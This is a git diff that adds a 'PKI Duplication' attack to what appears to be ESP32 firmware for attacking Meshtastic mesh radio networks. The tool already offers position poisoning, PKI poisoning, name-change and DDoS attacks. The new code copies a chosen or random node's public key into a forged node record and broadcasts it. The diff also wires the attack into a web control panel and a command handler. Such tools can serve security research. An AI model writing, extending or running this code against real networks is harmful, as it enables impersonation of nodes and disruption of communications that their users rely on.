diff --git a/data/web/index.html b/data/web/index.html
index 3858427..91667ae 100644
--- a/data/web/index.html
+++ b/data/web/index.html
@@ -275,6 +275,7 @@
                 <option value="name_change">Namechange - Emoji</option>
                 <option value="pos_poison">Position Poison</option>
                 <option value="pki_poison">PKI Poison</option>
+                <option value="pki_dupe">PKI Duplication</option>
                 <option value="ddos">DDoS</option>
             </select>
             <p class="note">Note: A Target Node ID of <code>!ffffffff</code> means the attack will cycle through all
@@ -334,6 +335,16 @@
                 </div>
             </div>
 
+            <div id="params-pki_dupe" class="param-group">
+                <p>Copied PKI of a selected (or randomly selected) node, alerting it the key has exposed.
+                </p>
+                <label for="pkidupe-target-id">Target Node ID</label>
+                <div class="input-group">
+                    <input type="text" id="pkidupe-target-id" value="!ffffffff">
+                    <button type="button" class="btn-all">All</button>
+                </div>
+            </div>
+
             <button id="start-attack-btn">Start Selected Attack</button>
             <button id="stop-attack-btn">Stop Current Attack</button>
         </div>
@@ -562,6 +573,8 @@
                     command.params.max_lon = parseFloat(document.getElementById('max-lon').value);
                 } else if (attack === 'pki_poison') {
                     command.params.target_id = document.getElementById('pkipoison-target-id').value;
+                } else if (attack === 'pki_dupe') {
+                    command.params.target_id = document.getElementById('pkidupe-target-id').value;
                 }
 
                 logToDebug(`▶️ Starting attack: ${attack}`);
@@ -606,6 +619,7 @@
                         document.getElementById('namechange-target-id').value = nodeId;
                         document.getElementById('pospoison-target-id').value = nodeId;
                         document.getElementById('pkipoison-target-id').value = nodeId;
+                        document.getElementById('pkidupe-target-id').value = nodeId;
                         document.getElementById('source-node-id').value = nodeId;
                         logToDebug(`📋 Copied Node ID to all fields: ${nodeId}`);
                     }
diff --git a/main/TMAttack.cpp b/main/TMAttack.cpp
index 7ca5a58..3bf77a8 100644
--- a/main/TMAttack.cpp
+++ b/main/TMAttack.cpp
@@ -119,6 +119,34 @@ void TMAttack::atkPkiPoison() {
     sendDebugMessage("Sent PKI poison for node 0x" + std::to_string(srcnode));
 }
 
+void TMAttack::atkPkiDupe() {
+    uint32_t srcnode = target;
+    if (target == 0xffffffff) {  // if target is everybody, randomize srcnode
+        srcnode = getRandomTarget();
+        if (srcnode == 0) {
+            sendDebugMessage("No valid target found for PKI duplication attack.");
+            return;  // no valid target found
+        }
+    }
+    auto node = meshtasticCompact->nodeinfo_db.get(srcnode);
+    if (!node) {
+        sendDebugMessage("No valid target found for PKI duplication attack.");
+        return;  // no valid target found
+    }
+    uint32_t dupenodeid = esp_random();
+    MC_NodeInfo nodeinfo = {};  // new node
+    std::string none = "";
+    std::string none2 = "";
+    uint8_t hw_model = esp_random() % 105;
+    MeshtasticCompactHelpers::NodeInfoBuilder(&nodeinfo, dupenodeid, none, none2, hw_model);
+    for (int i = 0; i < 32; i++) {
+        nodeinfo.public_key[i] = node->public_key[i];  // dupe target key
+    }
+    meshtasticCompact->SendNodeInfo(nodeinfo, 0xffffffff, false);
+    meshtasticCompact->SendNodeInfo(nodeinfo, 0xffffffff, false);
+    sendDebugMessage("Sent PKI dupe as node 0x" + std::to_string(srcnode));
+}
+
 void TMAttack::atkRndNode() {
     // Generate random latitude and longitude within specified bounds
     double latitude = min_lat + static_cast<double>(rand()) / (static_cast<double>(RAND_MAX / (max_lat - min_lat)));
@@ -180,5 +208,7 @@ void TMAttack::loop() {
         atkPkiPoison();
     } else if (current_attack == AttackType::DDOS) {
         atkDdos();
+    } else if (current_attack == AttackType::PKI_DUPE) {
+        atkPkiDupe();
     }
 }
\ No newline at end of file
diff --git a/main/TMAttack.hpp b/main/TMAttack.hpp
index 68f7289..af7f104 100644
--- a/main/TMAttack.hpp
+++ b/main/TMAttack.hpp
@@ -13,6 +13,7 @@ enum class AttackType {
     NAME_CHANGE,
     PKI_POISON,
     DDOS,
+    PKI_DUPE
 };
 
 class TMAttack {
@@ -58,6 +59,8 @@ class TMAttack {
                 return "pki_poison";
             case AttackType::DDOS:
                 return "ddos";
+            case AttackType::PKI_DUPE:
+                return "pki_dupe";
             default:
                 return "Unknown";
         }
@@ -71,6 +74,7 @@ class TMAttack {
     void atkNameChange();
     void atkPkiPoison();
     void atkDdos();
+    void atkPkiDupe();
 
     MeshtasticCompact* meshtasticCompact = nullptr;
     std::string emoji = "😈";
diff --git a/main/main.cpp b/main/main.cpp
index 29848fa..dd58ddd 100644
--- a/main/main.cpp
+++ b/main/main.cpp
@@ -212,6 +212,14 @@ void handle_start_attack(const char* attack_type, JSON_Object* params) {
         std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"ddos\"}";
         ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
     }
+    if (strcmp(attack_type, "pki_dupe") == 0 && params != NULL) {
+        const char* target_id = json_object_get_string(params, "target_id");
+        ESP_LOGI("WEB", "PKI Duplication Attack Params: target_id=%s", target_id);
+        tmAttack.setTarget(getNodeIdFromCh(target_id));
+        tmAttack.setAttackType(AttackType::PKI_DUPE);
+        std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"pki_dupe\"}";
+        ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
+    }
 }
 
 void handle_set_config(JSON_Object* params) {